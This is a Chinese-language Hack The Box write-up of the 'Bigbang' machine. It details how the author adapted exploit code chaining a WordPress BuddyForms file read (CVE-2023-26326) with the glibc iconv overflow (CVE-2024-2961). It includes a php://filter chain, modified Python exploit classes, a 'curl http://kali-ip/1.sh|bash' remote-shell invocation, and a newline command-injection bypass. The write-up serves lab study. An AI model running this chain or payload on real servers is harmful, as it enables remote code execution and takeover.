HTB_Bigbang(思路)

admin 2025年2月7日23:59:39评论63 views字数 10735阅读35分47秒阅读模式

HTB_Bigbang

linux(hard)

总结

user.txt:

CVE_2023-26326(lfi改写一下) + CVE-2024-2961,缓冲区溢出拿docker-shell->php代码读数据库->shawking-shell

root.txt:

端口转发+db文件->developer-shell->app逆向查看源代码->接口构造

这次的机器,对我来讲有难度(QaQ),user部分两个洞利用不成功,导致拿不了shell,CVE-2024-2961部分怎么也触发不了,嘶

参考

wp: 师傅们讨论

复盘wp:

https://4xura.com/ctf/htb/htb-writeup-bigbang/

其它:

https://www.cvedetails.com/cve/CVE-2023-26326/

https://medium.com/tenable-techblog/wordpress-buddyforms-plugin-unauthenticated-insecure-deserialization-cve-2023-26326-3becb5575ed8

https://github.com/ambionics/wrapwrap

https://xz.aliyun.com/news/14127

https://github.com/nollium/CVE-2024-9264

https://blog.kengwang.com.cn/archives/640/

记录

当时我没有发现CVE-2023-26326,但是没利用成功,有师傅分享脚本就先直接用了,复盘记录下

1.对于 CVE-2024-2961部分

先尝试把 Remote类 改改,就是结合上面的lfi,怎么改,也有一个例子:

https://blog.kengwang.com.cn/archives/640/

def__init__(self, url: str) -> None:
self.url = url
self.session = Session()

defsend(self, path: str) -> Response:
"""Sends given `path` to the HTTP server. Returns the response.
    """

print(path)
    HEADERS = {
"Content-Type""application/x-www-form-urlencoded",
}
    req= self.session.post(self.url+"/wp-admin/admin-ajax.php", headers=HEADERS, data=path)
print(req.text)
return req
#return self.session.post(self.url, data={"file": path})

defdownload(self, path: str) -> bytes:
"""Returns the contents of a remote file.
    """

    path = "action=upload_image_from_url&id=1&accepted_files=image/gif&url="
        + chain_prefix + path
    response = self.send(path)
#to json
    result = response.json()
print(result)
    res1=self.session.get(result['response'])
#print(res1.text)
    data = res1.re.search(b"GIF89a(.*)", flags=re.S).group(1)
#print(data)
try:
return base64.decode(data)
except Exception as e:
print(e)
return data

最后调试了下,把check部分注释掉,不然老不通过

defrun(self) -> None:
#self.check_vulnerable()
self.get_symbols_and_addresses()
self.exploit()

后面运行时提示 [x] ELFError Magic number does not match

可能是文件名的权限问题,

defget_symbols_and_addresses(self) -> None:
"""Obtains useful symbols and addresses from the file read primitive."""
        regions = self.get_regions()
#LIBC_FILE ="/dev/shm/cnext-libc"
        LIBC_FILE = "/home/kali/session7/bigb/cnext-libc"

# PHP's heap

self.info["heap"] = self.heap orself.find_main_heap(regions)

# Libc

        libc = self._get_region(regions, "libc-""libc.so")

self.download_file(libc.path,  LIBC_FILE )
        ...

还是同样的错误,

 /home/kali/session7/bigb/poc1.py:218in get_symbols_and_addresses                                │
│                                                                                                  │
│   215 │   │                                                                                      │
│   216 │   │   self.download_file(libc.path,  LIBC_FILE )             │
│   217 │   │                                                                                      │
│ ❱ 218 │   │   self.info["libc"] = ELF(LIBC_FILE, checksec=False)                                 │
│   219 │   │   self.info["libc"].address = libc.start                                             │
│   220 │   │   print(self.info["libc"].address)                                                   │
│   221

......


│   567 │   │   # read like this - its e_ident field is word-size and endian agnostic.             │
│   568 │   │   self.stream.seek(0)                                                                │
│   569 │   │   magic = self.stream.read(4)                                                        │
│ ❱ 570 │   │   elf_assert(magic == b'x7fELF''Magic number does not match')                     │
│   571 │   │                                                                                      │
│   572 │   │   ei_class = self.stream.read(1)                                                     │
│   573 │   │   if ei_class == b'x01':                     
└─$ file cnext-libc                   
cnext-libc: data

难怪,下载到的不是一个elf文件

from pathlib import Path
...
defdownload_file(self, remote_path: str, local_path: str) -> None:
"""Downloads `remote_path` to `local_path`"""
        data = self.get_file(remote_path)
        Path(local_path).write(data)

期间报错UnicodeDecodeError:'utf-8' codec can't decode byte 0xae in position 4: invalid start byte 也就是坏字节,我这里是重运行几次脚本解决的,可以自定义编码解码解决(先把url请求的结果basse64编码,之后再解码)

后来发现,Remote.download方法,下载so文件会被识别为图片,是因为没去掉GIF头

└─$ file cnext-libc
cnext-libc: GIF image data, version 89a, 17791 x 17996
└─$ head cnext-libc         
GIF89aELF>t@XD@8@@?@@�
▒�
▒�

还是需要正则的,如果是保存了req.text会溢出

└─$ file cnext-libc
cnext-libc: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), statically linked, interpreter *empty*, too large section header offset 1226595105579204608

后面尝试下载为res.content的,而不是res.text,但是又提示内容不全

123: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, missing section headers at 1922072

本地搭建了一个任意文件读取,也用了chain_prefix,但下载下来的二进制文件没什么问题,可能是gif图片转换、多层base64编码解码过程中有些丢失,所以导致通过gif获取到的文件内容?感觉是有限的

后面问了 qui113x 师傅,他说需要补充6个空字节

所以可能是写入的GIF89a挤占掉了原本的6字节?

...
local_file=Path("/tmp/145")
with local_file.open("wb"as f:
           f.write(file_contents[6:]) #也就是res.content
           f.write(bytes(6))

再下载一次,之后 file 145就是正常的了

145: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=82ce4e6e4ef08fa58a3535f7437bd3e592db5ac0, for GNU/Linux 3.2.0, stripped

最终cve缓冲区溢出脚本改动如下:

import urllib
...
chain_prefix = "php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource="

classRemote:

def__init__(self, url: str) -> None:
self.url = url
self.session = Session()

defsend(self, path: str) -> Response:
"""Sends given `path` to the HTTP server. Returns the response.
        """

#print(path)
        path=chain_prefix+path

        data={
"action":"upload_image_from_url",
"id":"1",
"accepted_files":"image/gif",
"url":urllib.parse.quote_plus(path)
        }

#path = "action=upload_image_from_url&id=1&accepted_files=image/gif&url=" + chain_prefix+path
        HEADERS = {
"Content-Type""application/x-www-form-urlencoded",
}
        req= self.session.post(self.url+"/wp-admin/admin-ajax.php", headers=HEADERS, data=path)
print(req.text)
return req
#return self.session.post(self.url, data={"file": path})

defdownload(self, path: str) -> bytes:
"""Returns the contents of a remote file.
        """

print(path)
        path1=path
#path = "action=upload_image_from_url&id=1&accepted_files=image/gif&url=" + chain_prefix+path

print(f"[+] new path:{path}")
        response = self.send(path)
#to json
        result = response.json()
#print(result)

        res1=self.session.get(result['response'])

#print(f"[+]res1.text:{res1.text}")
        data=res1.content
#print(data)
#a=input("you know what")
#data=re.search(b"GIF89a.*", data,flags=re.S).group(0)
        data1=data[6:]
return data1
...

#LIBC_FILE = "/home/kali/session7/bigb/cnext-libc"
        LIBC_FILE="/tmp/146"
# PHP's heap

self.info["heap"] = self.heap orself.find_main_heap(regions)

# Libc

        libc = self._get_region(regions, "libc-""libc.so")
print(libc.path)
#a=input("zanting,kanyixia!")
#self.download_file(libc.path,  LIBC_FILE )

self.info["libc"] = ELF(LIBC_FILE, checksec=False)
self.info["libc"].address = libc.start
print("libc-base:"+hex(libc.start))

def_get_region(self, regions: list[Region], *names: str) -> Region:
"""Returns the first region whose name matches one of the given names."""
for region in regions:
ifany(name in region.path for name in names):
break
else:
            failure("Unable to locate region")

return region

defdownload_file(self, remote_path: str, local_path: str) -> None:
"""Downloads `remote_path` to `local_path`"""
        data = self.get_file(remote_path)
#Path(local_path).write(data)
        local_file = Path(local_path)
with local_file.open("wb"as f:
           f.write(data)
           f.write(bytes(6))
...
python poc1.py 'http://blog.bigbang.htb''curl http://kali-ip/1.sh|bash'

所以后面两种方法,用cve脚本,先下再用;

或者直接lfi.py下载好so文件,cve中再利用之前本地下载好的so文件即可

使用下载好的这个so文件,提示利用失败

[*] Potential heaps: 0x7f560a200040, 0x7f560a000040, 0x7f5608a00040, 0x7f5606400040, 0x7f5605e00040 (using first)
/usr/lib/x86_64-linux-gnu/libc.so.6
0x7f560ce1b000
0
     EXPLOIT  FAILURE 

即使成功了也不弹shell。

后来无奈用的 qui113x 师傅的exp脚本

后面复盘的时候发现就是因为:

应该在Remote类的send方法中对参数进行拼接且构造要用POST的一般格式,比如

#参数拼接在send()方法中,而不是download()中
path=chain_prefix+path
#参数格式构造如下:
data={
"action":"upload_image_from_url",
"id":"1",
"accepted_files":"image/gif",
"url":urllib.parse.quote_plus(path)
        }
req= self.session.post(self.url+"/wp-admin/admin-ajax.php", headers=HEADERS, data=data)

#不能是下面这种
path = "action=upload_image_from_url&id=1&accepted_files=image/gif&url=" + chain_prefix+path
req= self.session.post(self.url+"/wp-admin/admin-ajax.php", headers=HEADERS, data=path)

这个 urllib.parse.quote_plus也是必须的,否则也不成功

2.为什么后面n能触发命令执行呢?

它过滤了一些危险字符如,; & |,换行也是种绕过方式

在app.py中它是这样的

@app.route('/command', methods=['POST'])
@jwt_required()
defcommand():
    command = request.json.get('command''').lower()
    current_username = get_jwt_identity()

# Retrieve the User object corresponding to the username
    current_user = User.query.filter_by(username=current_username).first()

ifnot current_user:
return jsonify({'error''User not found'}), 404

if command == 'move':
      ...

elif command == 'send_image':
        output_file = request.json.get('output_file')
ifnot output_file:
return jsonify({'error''Output file path must be provided'}), 400
if contains_dangerous_chars(output_file):
return jsonify({'error''Output file path contains dangerous characters'}), 400
try:
            image_data = generate_random_image(output_file)
return send_file(BytesIO(image_data), mimetype='image/png')
except RuntimeError as e:
return jsonify({'error'str(e)}), 500
else:
return jsonify({'error''Invalid command'}), 400

defgenerate_random_image(output_file):
try:
        result = subprocess.run(f'/usr/local/bin/image-tool --get-image {output_file}'
                                check=True, shell=True, capture_output=True, text=True)
print(f"STDOUT: {result.stdout}")  # Log the standard output
print(f"STDERR: {result.stderr}")  # Log the standard error
except subprocess.CalledProcessError as e:
print(f"Error executing image-tool: {e.stderr}")
raise RuntimeError(f'Error generating image: {e.stderr}')

try:
withopen(output_file, 'rb'as file:
return file.read()
except Exception as e:
raise RuntimeError(f'Error reading image file: {str(e)}')

直接进行了拼接,所以有换行就被视为了两个命令

    result = subprocess.run(f'/usr/local/bin/image-tool --get-image {output_file}' ...

原文始发于微信公众号(羽泪云小栈):HTB_Bigbang(思路)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月7日23:59:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HTB_Bigbang(思路)https://cn-sec.com/archives/3711943.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息